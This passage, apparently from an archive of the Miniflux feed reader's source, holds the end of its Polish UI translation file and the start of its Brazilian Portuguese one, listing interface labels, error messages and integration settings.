"alert.feed_error": "Z tym kanałem jest problem",
"alert.no_search_result": "Brak wyników tego wyszukiwania.",
"alert.no_unread_entry": "Nie ma żadnych nieprzeczytanych wpisów.",
"alert.no_user": "Jesteś jedynym użytkownikiem.",
"alert.account_unlinked": "Twoje konto zewnętrzne jest teraz zdysocjowane!",
"alert.account_linked": "Twoje konto zewnętrzne jest teraz połączone!",
"alert.pocket_linked": "Twoje konto Pocket jest teraz połączone!",
"alert.prefs_saved": "Ustawienia zapisane!",
"error.unlink_account_without_password": "Musisz zdefiniować hasło, inaczej nie będziesz mógł się ponownie zalogować.",
"error.duplicate_linked_account": "Już ktoś jest powiązany z tym dostawcą!",
"error.duplicate_fever_username": "Już ktoś inny używa tej nazwy użytkownika Fever!",
"error.duplicate_googlereader_username": "Istnieje już ktoś inny z tą samą nazwą użytkownika Google Reader!",
"error.pocket_request_token": "Nie można pobrać tokena żądania z Pocket!",
"error.pocket_access_token": "Nie można pobrać tokena dostępu z Pocket!",
"error.category_already_exists": "Ta kategoria już istnieje.",
"error.unable_to_create_category": "Ta kategoria nie mogła zostać utworzona.",
"error.unable_to_update_category": "Ta kategoria nie mogła zostać zaktualizowana.",
"error.user_already_exists": "Ten użytkownik już istnieje.",
"error.unable_to_create_user": "Nie można utworzyć tego użytkownika.",
"error.unable_to_update_user": "Nie można zaktualizować tego użytkownika.",
"error.unable_to_update_feed": "Nie można zaktualizować tego kanału.",
"error.subscription_not_found": "Nie znaleziono żadnych kanałów.",
"error.empty_file": "Ten plik jest pusty.",
"error.bad_credentials": "Nieprawidłowa nazwa użytkownika lub hasło.",
"error.fields_mandatory": "Wszystkie pola są obowiązkowe.",
"error.title_required": "Tytuł jest obowiązkowy.",
"error.different_passwords": "Hasła nie są identyczne.",
"error.password_min_length": "Musisz użyć co najmniej 6 znaków.",
"error.settings_mandatory_fields": "Pola nazwy użytkownika, tematu, języka i strefy czasowej są obowiązkowe.",
"error.settings_reading_speed_is_positive": "Szybkości czytania muszą być dodatnimi liczbami całkowitymi.",
"error.settings_block_rule_fieldname_invalid": "Nieprawidłowa reguła blokowania: w regule #%d brakuje prawidłowej nazwy pola (opcje: %s)",
"error.settings_block_rule_separator_required": "Nieprawidłowa reguła blokowania: wzór reguły #%d musi być oddzielony znakiem '='",
"error.settings_block_rule_regex_required": "Nieprawidłowa reguła blokowania: nie podano wzorca reguły #%d",
"error.settings_block_rule_invalid_regex": "Nieprawidłowa reguła blokowania: wzór reguły #%d nie jest prawidłowym wyrażeniem regularnym",
"error.settings_keep_rule_fieldname_invalid": "Nieprawidłowa reguła utrzymywania: w regule #%d brakuje prawidłowej nazwy pola (opcje: %s)",
"error.settings_keep_rule_separator_required": "Nieprawidłowa reguła utrzymywania: wzór reguły #%d musi być oddzielony znakiem '='",
"error.settings_keep_rule_regex_required": "Nieprawidłowa reguła utrzymywania nie podano wzorca reguły #%d",
"error.settings_keep_rule_invalid_regex": "Nieprawidłowa reguła utrzymywania: wzór reguły #%d nie jest prawidłowym wyrażeniem regularnym",
"error.entries_per_page_invalid": "Liczba wpisów na stronę jest nieprawidłowa.",
"error.feed_mandatory_fields": "Adres URL i kategoria są obowiązkowe.",
"error.feed_already_exists": "Ten kanał już istnieje.",
"error.invalid_feed_url": "Nieprawidłowy adres URL kanału.",
"error.invalid_site_url": "Nieprawidłowy adres URL witryny.",
"error.feed_url_not_empty": "Adres URL kanału nie może być pusty.",
"error.site_url_not_empty": "Adres URL witryny nie może być pusty.",
"error.feed_title_not_empty": "Tytuł kanału nie może być pusty.",
"error.feed_category_not_found": "Ta kategoria nie istnieje lub nie należy do tego użytkownika.",
"error.feed_invalid_blocklist_rule": "Reguła listy zablokowanych jest nieprawidłowa.",
"error.feed_invalid_keeplist_rule": "Reguła listy zachowania jest nieprawidłowa.",
"error.user_mandatory_fields": "Nazwa użytkownika jest obowiązkowa.",
"error.api_key_already_exists": "Ten klucz API już istnieje.",
"error.unable_to_create_api_key": "Nie można utworzyć tego klucza API.",
"error.invalid_theme": "Nieprawidłowy motyw.",
"error.invalid_language": "Nieprawidłowy język.",
"error.invalid_timezone": "Nieprawidłowa strefa czasowa.",
"error.invalid_entry_direction": "Nieprawidłowa kolejność sortowania.",
"error.invalid_display_mode": "Nieprawidłowy tryb wyświetlania aplikacji sieciowej.",
"error.invalid_gesture_nav": "Nieprawidłowa nawigacja gestami.",
"error.invalid_default_home_page": "Nieprawidłowa domyślna strona główna!",
"form.feed.label.title": "Tytuł",
"form.feed.label.site_url": "Adres URL strony",
"form.feed.label.feed_url": "Adres URL kanału",
"form.feed.label.description": "Opis",
"form.feed.label.category": "Kategoria",
"form.feed.label.crawler": "Pobierz oryginalną treść",
"form.feed.label.feed_username": "Nazwa użytkownika subskrypcji",
"form.feed.label.feed_password": "Hasło do subskrypcji",
"form.feed.label.user_agent": "Zastąp domyślny agent użytkownika",
"form.feed.label.cookie": "Ustaw ciasteczka",
"form.feed.label.scraper_rules": "Reguły ekstrakcji",
"form.feed.label.rewrite_rules": "Reguły zapisu",
"form.feed.label.blocklist_rules": "Reguły blokowania",
"form.feed.label.keeplist_rules": "Reguły utrzymywania",
"form.feed.label.urlrewrite_rules": "Reguły przepisywania adresów URL",
"form.feed.label.apprise_service_urls": "Rozdzielana przecinkami lista adresów URL usług Appprise",
"form.feed.label.ignore_http_cache": "Zignoruj pamięć podręczną HTTP",
"form.feed.label.allow_self_signed_certificates": "Zezwalaj na samopodpisane lub nieprawidłowe certyfikaty",
"form.feed.label.disable_http2": "Wyłącz protokół HTTP/2, aby uniknąć identyfikowania",
"form.feed.label.fetch_via_proxy": "Pobierz przez proxy",
"form.feed.label.disabled": "Nie aktualizuj tego kanału",
"form.feed.label.no_media_player": "Brak odtwarzacza multimedialnego (audio i wideo)",
"form.feed.label.hide_globally": "Ukryj wpisy na globalnej liście nieprzeczytanych",
"form.feed.label.ntfy_activate": "Prześlij wpisy do ntfy",
"form.feed.label.ntfy_priority": "Priorytet ntfy",
"form.feed.label.ntfy_max_priority": "Maksymalny priorytet ntfy",
"form.feed.label.ntfy_high_priority": "Wysoki priorytet ntfy",
"form.feed.label.ntfy_default_priority": "Domyślny priorytet ntfy",
"form.feed.label.ntfy_low_priority": "Niski priorytet ntfy",
"form.feed.label.ntfy_min_priority": "Minimalny priorytet ntfy",
"form.integration.cubox_activate": "Zapisuj wpisy w Cubox",
"form.integration.cubox_api_link": "Łącze API Cubox",
"form.feed.fieldset.general": "Ogólne",
"form.feed.fieldset.rules": "Reguły",
"form.feed.fieldset.network_settings": "Ustawienia sieci",
"form.feed.fieldset.integration": "Usługi dostawców zewnętrznych",
"form.category.label.title": "Tytuł",
"form.category.hide_globally": "Ukryj wpisy na globalnej liście nieprzeczytanych",
"form.user.label.username": "Nazwa użytkownika",
"form.user.label.password": "Hasło",
"form.user.label.confirmation": "Potwierdzenie hasła",
"form.user.label.admin": "Administrator",
"form.prefs.label.language": "Język",
"form.prefs.label.timezone": "Strefa czasowa",
"form.prefs.label.theme": "Wygląd",
"form.prefs.label.entry_sorting": "Sortowanie wpisów",
"form.prefs.label.entries_per_page": "Wpisy na stronę",
"form.prefs.label.default_reading_speed": "Szybkość czytania w innych językach (słowa na minutę)",
"form.prefs.label.cjk_reading_speed": "Szybkość czytania w języku chińskim, koreańskim i japońskim (znaki na minutę)",
"form.prefs.label.display_mode": "Tryb wyświetlania progresywnej aplikacji sieciowej (PWA)",
"form.prefs.select.older_first": "Najstarsze wpisy jako pierwsze",
"form.prefs.label.keyboard_shortcuts": "Włącz skróty klawiszowe",
"form.prefs.label.entry_swipe": "Włącz przesuwanie wpisów na ekranach dotykowych",
"form.prefs.label.gesture_nav": "Gest do poruszania się między wpisami",
"form.prefs.label.show_reading_time": "Pokaż szacowany czas czytania wpisów",
"form.prefs.select.recent_first": "Najnowsze wpisy jako pierwsze",
"form.prefs.select.fullscreen": "Pełnoekranowy",
"form.prefs.select.standalone": "Samodzielny",
"form.prefs.select.minimal_ui": "Minimalny",
"form.prefs.select.browser": "Przeglądarkowy",
"form.prefs.select.publish_time": "Czas publikacji wpisu",
"form.prefs.select.created_time": "Czas utworzenia wpisu",
"form.prefs.select.alphabetical": "Alfabetycznie",
"form.prefs.select.unread_count": "Liczba nieprzeczytanych",
"form.prefs.select.none": "Brak",
"form.prefs.select.tap": "Podwójne stuknięcie",
"form.prefs.select.swipe": "Przesuwanie",
"form.prefs.label.custom_css": "Niestandardowy CSS",
"form.prefs.label.custom_js": "Niestandardowy JavaScript",
"form.prefs.label.entry_order": "Kolumna sortowania wpisów",
"form.prefs.label.default_home_page": "Domyślna strona główna",
"form.prefs.label.categories_sorting_order": "Sortowanie kategorii",
"form.prefs.label.mark_read_on_view": "Automatycznie oznacz wpisy jako przeczytane podczas przeglądania",
"form.prefs.label.mark_read_on_view_or_media_completion": "Oznacz wpisy jako przeczytane po wyświetleniu. W przypadku audio i wideo oznacz jako przeczytane po ukończeniu 90%%",
"form.prefs.label.mark_read_on_media_completion": "Oznacz jako przeczytane dopiero wtedy, gdy odtwarzanie audio i wideo osiągnie 90%% ukończenia",
"form.prefs.label.mark_read_manually": "Oznacz wpisy jako przeczytane ręcznie",
"form.prefs.fieldset.application_settings": "Ustawienia aplikacji",
"form.prefs.fieldset.authentication_settings": "Ustawienia uwierzytelniania",
"form.prefs.fieldset.reader_settings": "Ustawienia czytnika",
"form.prefs.fieldset.global_feed_settings": "Globalne ustawienia kanałów",
"form.prefs.label.external_font_hosts": "Hosty zewnętrznych czcionek",
"form.prefs.help.external_font_hosts": "Lista hostów zewnętrznych czcionek, na które należy zezwolić, rozdzielona spacjami. Na przykład: „fonts.gstatic.com fonts.googleapis.com”.",
"error.settings_invalid_domain_list": "Nieprawidłowa lista domen. Podaj listę domen rozdzielonych spacjami.",
"form.import.label.file": "Plik OPML",
"form.import.label.url": "Adres URL",
"form.integration.betula_activate": "Zapisuj wpisy w Betula",
"form.integration.betula_url": "Adres URL serwera Betula",
"form.integration.betula_token": "Token do Betula",
"form.integration.fever_activate": "Aktywuj API Fever",
"form.integration.fever_username": "Login do Fever",
"form.integration.fever_password": "Hasło do Fever",
"form.integration.fever_endpoint": "Punkt końcowy API Fever:",
"form.integration.googlereader_activate": "Aktywuj API Google Reader",
"form.integration.googlereader_username": "Login do Google Reader",
"form.integration.googlereader_password": "Hasło do Google Reader",
"form.integration.googlereader_endpoint": "Punkt końcowy API Google Reader:",
"form.integration.pinboard_activate": "Zapisuj wpisy w Pinboard",
"form.integration.pinboard_token": "Token API do Pinboard",
"form.integration.pinboard_tags": "Znaczniki Pinboard",
"form.integration.pinboard_bookmark": "Zaznacz zakładkę jako nieprzeczytaną",
"form.integration.instapaper_activate": "Zapisuj wpisy w Instapaper",
"form.integration.instapaper_username": "Login do Instapaper",
"form.integration.instapaper_password": "Hasło do Instapaper",
"form.integration.pocket_activate": "Zapisuj wpisy w Pocket",
"form.integration.pocket_consumer_key": "Klucz klienta do Pocket",
"form.integration.pocket_access_token": "Token dostępu do Pocket",
"form.integration.pocket_connect_link": "Połącz swoje konto Pocket",
"form.integration.wallabag_activate": "Zapisuj wpisy w Wallabag",
"form.integration.wallabag_only_url": "Przesyłaj tylko adres URL (zamiast pełnej treści)",
"form.integration.wallabag_endpoint": "Podstawowy adres URL Wallabag",
"form.integration.wallabag_client_id": "Identyfikator klienta Wallabag",
"form.integration.wallabag_client_secret": "Tajny klucz klienta Wallabag",
"form.integration.wallabag_username": "Login do Wallabag",
"form.integration.wallabag_password": "Hasło do Wallabag",
"form.integration.notion_activate": "Zapisuj wpisy w Notion",
"form.integration.notion_page_id": "Identyfikator strony Notion",
"form.integration.notion_token": "Tajny token do Notion",
"form.integration.apprise_activate": "Przesyłaj wpisy do Apprise",
"form.integration.apprise_url": "Adres URL API Apprise",
"form.integration.apprise_services_url": "Oddzielona przecinkami lista adresów URL usługi Apprise",
"form.integration.nunux_keeper_activate": "Zapisuj wpisy w Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Punkt końcowy API Nunux Keeper",
"form.integration.nunux_keeper_api_key": "Klucz API do Nunux Keeper",
"form.integration.omnivore_activate": "Zapisuj wpisy w Omnivore",
"form.integration.omnivore_url": "Punkt końcowy API Omnivore",
"form.integration.omnivore_api_key": "Klucz API do Omnivore",
"form.integration.espial_activate": "Zapisuj wpisy w Espial",
"form.integration.espial_endpoint": "Punkt końcowy API Espial",
"form.integration.espial_api_key": "Klucz API do Espial",
"form.integration.espial_tags": "Znaczniki Espial",
"form.integration.readwise_activate": "Zapisuj wpisy w czytniku Readwise",
"form.integration.readwise_api_key": "Token dostępu do czytnika Readwise",
"form.integration.readwise_api_key_link": "Zdobądź token dostępu Readwise",
"form.integration.telegram_bot_activate": "Przesyłaj nowe wpisy do czatu Telegram",
"form.integration.telegram_bot_token": "Token do bota",
"form.integration.telegram_chat_id": "Identyfikator czatu",
"form.integration.telegram_topic_id": "Identyfikator tematu",
"form.integration.telegram_bot_disable_web_page_preview": "Wyłącz podgląd strony internetowej",
"form.integration.telegram_bot_disable_notification": "Wyłącz powiadomienie",
"form.integration.telegram_bot_disable_buttons": "Wyłącz przyciski",
"form.integration.linkace_activate": "Zapisuj wpisy w LinkAce",
"form.integration.linkace_endpoint": "Punkt końcowy API LinkAce",
"form.integration.linkace_api_key": "Klucz API do LinkAce",
"form.integration.linkace_tags": "Znaczniki LinkAce",
"form.integration.linkace_is_private": "Oznacz łącze jako prywatne",
"form.integration.linkace_check_disabled": "Wyłącz sprawdzanie łączy",
"form.integration.linkding_activate": "Zapisuj wpisy w Linkding",
"form.integration.linkding_endpoint": "Punkt końcowy API Linkding",
"form.integration.linkding_api_key": "Klucz API do Linkding",
"form.integration.linkding_tags": "Znaczniki Linkding",
"form.integration.linkding_bookmark": "Oznacz zakładkę jako nieprzeczytaną",
"form.integration.linkwarden_activate": "Zapisuj wpisy w Linkwarden",
"form.integration.linkwarden_endpoint": "Punkt końcowy API Linkwarden",
"form.integration.linkwarden_api_key": "Klucz API do Linkwarden",
"form.integration.matrix_bot_activate": "Przesyłaj nowe wpisy do Matrix",
"form.integration.matrix_bot_user": "Login do Matrix",
"form.integration.matrix_bot_password": "Hasło do Matrix",
"form.integration.matrix_bot_url": "Adres URL serwera Matrix",
"form.integration.matrix_bot_chat_id": "Identyfikator pokoju Matrix",
"form.integration.raindrop_activate": "Zapisuj wpisy do Raindrop",
"form.integration.raindrop_token": "Token (testowy)",
"form.integration.raindrop_collection_id": "Identyfikator kolekcji",
"form.integration.raindrop_tags": "Znaczniki (oddzielone przecinkami)",
"form.integration.readeck_activate": "Zapisuj wpisy do Readeck",
"form.integration.readeck_endpoint": "Adres URL Readeck",
"form.integration.readeck_api_key": "Tajny klucz API Readeck",
"form.integration.readeck_labels": "Etykiety Readeck",
"form.integration.readeck_only_url": "Wysyłaj tylko adres URL (zamiast pełnej treści)",
"form.integration.shiori_activate": "Zapisuj artykuły w Shiori",
"form.integration.shiori_endpoint": "Punkt końcowy API Shiori",
"form.integration.shiori_username": "Login do Shiori",
"form.integration.shiori_password": "Hasło do Shiori",
"form.integration.shaarli_activate": "Zapisuj artykuły w Shaarli",
"form.integration.shaarli_endpoint": "Adres URL Shaarli",
"form.integration.shaarli_api_secret": "Tajny klucz API do Shaarli",
"form.integration.webhook_activate": "Włącz Webhook",
"form.integration.webhook_url": "Adres URL Webhook",
"form.integration.webhook_secret": "Tajny klucz do Webhook",
"form.integration.rssbridge_activate": "Sprawdź RSS-Bridge podczas dodawania subskrypcji",
"form.integration.rssbridge_url": "Adres URL serwera RSS-Bridge",
"form.integration.ntfy_activate": "Przesyłaj wpisy do ntfy",
"form.integration.ntfy_topic": "Temay ntfy",
"form.integration.ntfy_url": "Adres URL ntfy (opcjonalny, domyślny to ntfy.sh)",
"form.integration.ntfy_api_token": "Token API ntfy (opcjonalny)",
"form.integration.ntfy_username": "Login do ntfy (opcjonalny)",
"form.integration.ntfy_password": "Hasło do ntfy (opcjonalne)",
"form.integration.ntfy_icon_url": "Adres URL ikony ntfy (opcjonalny)",
"form.integration.ntfy_internal_links": "Używaj łączy wewnętrznych po kliknięciu (opcjonalnie)",
"form.integration.discord_activate": "Przesyłaj wpisy do Discord",
"form.integration.discord_webhook_link": "Adres URL Webhook Discord",
"form.api_key.label.description": "Etykieta klucza API",
"form.submit.loading": "Ładowanie…",
"form.submit.saving": "Zapisywanie…",
"time_elapsed.not_yet": "jeszcze nie",
"time_elapsed.yesterday": "wczoraj",
"time_elapsed.now": "przed chwilą",
"time_elapsed.minutes": [
"%d minuta temu",
"%d minuty temu",
"%d minut temu"
],
"time_elapsed.hours": [
"%d godzinę temu",
"%d godziny temu",
"%d godzin temu"
],
"time_elapsed.days": [
"%d dzień temu",
"%d dni temu",
"%d dni temu"
],
"time_elapsed.weeks": [
"%d tydzień temu",
"%d tygodnie temu",
"%d tygodni temu"
],
"time_elapsed.months": [
"%d miesiąc temu",
"%d miesiące temu",
"%d miesięcy temu"
],
"time_elapsed.years": [
"%d rok temu",
"%d lat temu",
"%d lat temu"
],
"alert.too_many_feeds_refresh": [
"Wykonano zbyt wiele odświeżeń kanału. Poczekaj %d minutę przed ponowną próbą.",
"Wykonano zbyt wiele odświeżeń kanału. Poczekaj %d minuty przed ponowną próbą.",
"Wykonano zbyt wiele odświeżeń kanału. Poczekaj %d minut przed ponowną próbą."
],
"alert.background_feed_refresh": "Wszystkie kanały są odświeżane w tle. Możesz kontynuować korzystanie z Miniflux podczas trwania tego procesu.",
"error.http_response_too_large": "Odpowiedź HTTP jest za duża. Możesz zwiększyć limit rozmiaru odpowiedzi HTTP w ustawieniach globalnych (wymaga ponownego uruchomienia serwera).",
"error.http_body_read": "Nie można odczytać treści HTTP: %v.",
"error.http_empty_response_body": "Treść odpowiedzi HTTP jest pusta.",
"error.http_empty_response": "Odpowiedź HTTP jest pusta. Być może ta witryna korzysta z mechanizmu ochrony przed botami?",
"error.tls_error": "Błąd TLS: %q. Jeśli chcesz, możesz wyłączyć weryfikację TLS w ustawieniach kanału.",
"error.network_operation": "Miniflux nie może połączyć się z tą witryną z powodu błędu sieci: %v.",
"error.network_timeout": "Ta witryna internetowa jest zbyt wolna i upłynął limit czasu żądania: %v",
"error.http_client_error": "Błąd klienta HTTP: %v.",
"error.http_not_authorized": "Dostęp do tej witryny nie jest autoryzowany. Może to być błędna nazwa użytkownika lub hasło.",
"error.http_too_many_requests": "Miniflux wygenerował zbyt wiele żądań do tej witryny. Spróbuj ponownie później lub zmień konfigurację aplikacji.",
"error.http_forbidden": "Dostęp do tej strony jest zabroniony. Być może ta strona ma mechanizm zabezpieczający przed botami?",
"error.http_resource_not_found": "Nie znaleziono żądanego zasobu. Sprawdź adres URL.",
"error.http_internal_server_error": "Strona jest w tej chwili niedostępna z powodu błędu serwera. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.",
"error.http_bad_gateway": "Strona jest w tej chwili niedostępna z powodu błędu nieprawidłowej bramy. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.",
"error.http_service_unavailable": "Strona jest w tej chwili niedostępna z powodu wewnętrznego błędu serwera. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.",
"error.http_gateway_timeout": "Strona internetowa jest w tej chwili niedostępna z powodu błędu przekroczenia limitu czasu bramy. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.",
"error.http_unexpected_status_code": "Strona jest w tej chwili niedostępna z powodu nieoczekiwanego kodu stanu HTTP: %d. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.",
"error.database_error": "Błąd bazy danych: %v.",
"error.category_not_found": "Ta kategoria nie istnieje lub nie należy do tego użytkownika.",
"error.duplicated_feed": "Ten kanał już istnieje.",
"error.unable_to_parse_feed": "Nie można przeanalizować tego kanału: %v.",
"error.feed_not_found": "Ten kanał nie istnieje lub nie należy do tego użytkownika.",
"error.unable_to_detect_rssbridge": "Nie można wykryć kanału za pomocą RSS-Bridge: %v.",
"error.feed_format_not_detected": "Nie można wykryć formatu kanału: %v.",
"form.prefs.label.media_playback_rate": "Szybkość odtwarzania audio i wideo",
"error.settings_media_playback_rate_range": "Szybkość odtwarzania jest poza zakresem",
"enclosure_media_controls.seek" : "Przewiń:",
"enclosure_media_controls.seek.title" : "Przewiń o %s sek.",
"enclosure_media_controls.speed" : "Szybkość:",
"enclosure_media_controls.speed.faster" : "Szybciej",
"enclosure_media_controls.speed.faster.title" : "Szybciej o %sx",
"enclosure_media_controls.speed.slower" : "Wolniej",
"enclosure_media_controls.speed.slower.title" : "Wolniej o %sx",
"enclosure_media_controls.speed.reset" : "Przywróć",
"enclosure_media_controls.speed.reset.title" : "Przywróć szybkość do 1x"
}
v2-2.2.5/internal/locale/translations/pt_BR.json 0000664 0000000 0000000 00000105446 14743520056 0021564 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "Tem certeza?",
"confirm.question.refresh": "Você deseja forçar a atualização?",
"confirm.yes": "Sim",
"confirm.no": "Não",
"confirm.loading": "Carregando...",
"action.subscribe": "Inscrever",
"action.save": "Salvar",
"action.or": "Ou",
"action.cancel": "Cancelar",
"action.remove": "Remover",
"action.remove_feed": "Remover fonte",
"action.update": "Atualizar",
"action.edit": "Editar",
"action.download": "Baixar",
"action.import": "Importar",
"action.login": "Iniciar sessão",
"action.home_screen": "Voltar para a tela inicial",
"tooltip.keyboard_shortcuts": "Atalho do teclado: %s",
"tooltip.logged_user": "Autenticado como %s",
"menu.title": "Menu",
"menu.home_page": "Home page",
"menu.unread": "Não lido",
"menu.starred": "Favoritos",
"menu.history": "Histórico",
"menu.feeds": "Fontes",
"menu.categories": "Categorias",
"menu.settings": "Configurações",
"menu.logout": "Encerrar sessão",
"menu.preferences": "Preferências",
"menu.integrations": "Integrações",
"menu.sessions": "Sessões",
"menu.users": "Usuários",
"menu.about": "Sobre",
"menu.export": "Exportar",
"menu.import": "Importar",
"menu.search": "Buscar",
"menu.create_category": "Criar uma categoria",
"menu.mark_page_as_read": "Marcar essa página como lida",
"menu.mark_all_as_read": "Marcar todos como lido",
"menu.show_all_entries": "Mostrar todas os itens",
"menu.show_only_unread_entries": "Mostrar apenas itens não lidos",
"menu.show_only_starred_entries": "Mostrar apenas os favoritos",
"menu.refresh_feed": "Atualizar",
"menu.refresh_all_feeds": "Atualizar todas as fontes",
"menu.edit_feed": "Editar",
"menu.edit_category": "Editar",
"menu.add_feed": "Adicionar inscrição",
"menu.add_user": "Adicionar usuário",
"menu.flush_history": "Limpar histórico",
"menu.feed_entries": "Itens",
"menu.api_keys": "Chaves de API",
"menu.create_api_key": "Criar uma nova chave de API",
"menu.shared_entries": "Itens compartilhados",
"search.label": "Buscar",
"search.placeholder": "Buscar por...",
"search.submit": "Search",
"pagination.last": "Last",
"pagination.next": "Próximo",
"pagination.first": "First",
"pagination.previous": "Anterior",
"entry.status.unread": "Não lido",
"entry.status.read": "Lido",
"entry.status.toast.unread": "Marcado como não lido",
"entry.status.toast.read": "Marcado como lido",
"entry.status.title": "Modificar estado deste item",
"entry.bookmark.toggle.on": "Favoritar",
"entry.bookmark.toggle.off": "Remover dos Favoritos",
"entry.bookmark.toast.on": "Favoritado",
"entry.bookmark.toast.off": "Desfavoritado",
"entry.state.saving": "Salvando...",
"entry.state.loading": "Carregando...",
"entry.save.label": "Salvar",
"entry.save.title": "Salvar esse item",
"entry.save.completed": "Feito!",
"entry.save.toast.completed": "Item guardado",
"entry.scraper.label": "Baixar",
"entry.scraper.title": "Obter conteúdo completo",
"entry.scraper.completed": "Feito!",
"entry.external_link.label": "Link externo",
"entry.comments.label": "Comentários",
"entry.comments.title": "Ver comentários",
"entry.share.label": "Compartilhar",
"entry.share.title": "Compartilhar esse item",
"entry.unshare.label": "Descompartilhar",
"entry.shared_entry.title": "Abrir link público",
"entry.shared_entry.label": "Compartilhar",
"entry.estimated_reading_time": [
"Leitura de %d minuto",
"Leitura de %d minutos"
],
"entry.tags.label": "Etiquetas:",
"page.shared_entries.title": "Itens compartilhados",
"page.shared_entries_count": [
"%d shared entry",
"%d shared entries"
],
"page.unread.title": "Não lidos",
"page.unread_entry_count": [
"%d unread entry",
"%d unread entries"
],
"page.total_entry_count": [
"%d entry in total",
"%d entries in total"
],
"page.starred.title": "Favoritos",
"page.starred_entry_count": [
"%d starred entry",
"%d starred entries"
],
"page.categories.title": "Categorias",
"page.categories.no_feed": "Sem fonte.",
"page.categories.entries": "Itens",
"page.categories.feeds": "Inscrições",
"page.categories.feed_count": [
"Existe %d fonte.",
"Existem %d fontes."
],
"page.categories_count": [
"%d category",
"%d categories"
],
"page.new_category.title": "Nova categoria",
"page.new_user.title": "Novo usuário",
"page.edit_category.title": "Editar categoria: %s",
"page.edit_user.title": "Editar usuário: %s",
"page.feeds.title": "Fontes",
"page.category_label": "Category: %s",
"page.feeds.last_check": "Última verificação:",
"page.feeds.next_check": "Next check:",
"page.feeds.read_counter": "Número de itens lidos",
"page.feeds.error_count": [
"%d erro",
"%d erros"
],
"page.history.title": "Histórico",
"page.read_entry_count": [
"%d read entry",
"%d read entries"
],
"page.import.title": "Importar",
"page.search.title": "Resultados da busca",
"page.about.title": "Sobre",
"page.about.credits": "Créditos",
"page.about.version": "Versão:",
"page.about.build_date": "Compilado em:",
"page.about.author": "Autor:",
"page.about.license": "Licença:",
"page.about.global_config_options": "opções de configuração global",
"page.about.postgres_version": "Postgres versão:",
"page.about.go_version": "Go versão:",
"page.add_feed.title": "Nova inscrição",
"page.add_feed.no_category": "Não existe uma categoria. Deve existir pelo menos uma categoria.",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "Buscar uma fonte",
"page.add_feed.legend.advanced_options": "Opções avançadas",
"page.add_feed.choose_feed": "Escolher uma fonte",
"page.edit_feed.title": "Editar fonte: %s",
"page.edit_feed.last_check": "Última verificação:",
"page.edit_feed.last_modified_header": "Cabeçalho 'LastModified':",
"page.edit_feed.etag_header": "Cabeçalho 'ETag':",
"page.edit_feed.no_header": "Sem cabeçalhos",
"page.edit_feed.last_parsing_error": "Último erro durante processamento",
"page.entry.attachments": "Anexos",
"page.keyboard_shortcuts.title": "Atalhos de teclado",
"page.keyboard_shortcuts.subtitle.sections": "Navegação de seções",
"page.keyboard_shortcuts.subtitle.items": "Navegação de itens",
"page.keyboard_shortcuts.subtitle.pages": "Navegação de páginas",
"page.keyboard_shortcuts.subtitle.actions": "Ações",
"page.keyboard_shortcuts.go_to_unread": "Ir aos não lidos",
"page.keyboard_shortcuts.go_to_starred": "Ir aos favoritos",
"page.keyboard_shortcuts.go_to_history": "Ir ao histórico",
"page.keyboard_shortcuts.go_to_feeds": "Ir as inscrições",
"page.keyboard_shortcuts.go_to_categories": "Ir as categorias",
"page.keyboard_shortcuts.go_to_settings": "Ir as configurações",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Mostrar atalhos de teclado",
"page.keyboard_shortcuts.go_to_previous_item": "Ir ao item anterior",
"page.keyboard_shortcuts.go_to_next_item": "Ir ao tem seguinte",
"page.keyboard_shortcuts.go_to_feed": "Ir a fonte",
"page.keyboard_shortcuts.go_to_previous_page": "Ir a página anterior",
"page.keyboard_shortcuts.go_to_next_page": "Ir a página seguinte",
"page.keyboard_shortcuts.go_to_bottom_item": "Ir para o item inferior",
"page.keyboard_shortcuts.go_to_top_item": "Ir para o item superior",
"page.keyboard_shortcuts.open_item": "Abrir o item selecionado",
"page.keyboard_shortcuts.open_original": "Abrir o conteúdo original",
"page.keyboard_shortcuts.open_original_same_window": "Abrir o conteúdo original na janela atual",
"page.keyboard_shortcuts.open_comments": "Abrir os comentários",
"page.keyboard_shortcuts.open_comments_same_window": "Abrir os comentários na janela atual",
"page.keyboard_shortcuts.toggle_read_status_next": "Inverter estado de leitura do item, focar próximo item",
"page.keyboard_shortcuts.toggle_read_status_prev": "Inverter estado de leitura do item, focar item anterior",
"page.keyboard_shortcuts.refresh_all_feeds": "Atualizar todas as fontes",
"page.keyboard_shortcuts.mark_page_as_read": "Marcar página atual como lida",
"page.keyboard_shortcuts.download_content": "Buscar o conteúdo original",
"page.keyboard_shortcuts.toggle_bookmark_status": "Marcar ou desmarcar como favorito",
"page.keyboard_shortcuts.save_article": "Salvar item",
"page.keyboard_shortcuts.scroll_item_to_top": "Role o item para cima",
"page.keyboard_shortcuts.remove_feed": "Remover essa fonte",
"page.keyboard_shortcuts.go_to_search": "Ir para o campo de busca",
"page.keyboard_shortcuts.toggle_entry_attachments": "Toggle open/close entry attachments",
"page.keyboard_shortcuts.close_modal": "Fechar janela",
"page.users.title": "Usuários",
"page.users.username": "Nome de usuário",
"page.users.never_logged": "Nunca",
"page.users.admin.yes": "Sim",
"page.users.admin.no": "Não",
"page.users.actions": "Ações",
"page.users.last_login": "Último acesso",
"page.users.is_admin": "Administrador",
"page.settings.title": "Ajustes",
"page.settings.link_google_account": "Vincular minha conta do Google",
"page.settings.unlink_google_account": "Desvincular minha conta do Google",
"page.settings.link_oidc_account": "Vincular minha conta do %s",
"page.settings.unlink_oidc_account": "Desvincular minha conta do %s",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "Registrar senha",
"page.settings.webauthn.register.error": "Não foi possível registrar a senha",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"Remover %d senha",
"Remover %d senhas"
],
"page.login.title": "Iniciar Sessão",
"page.login.google_signin": "Iniciar Sessão com sua conta do Google",
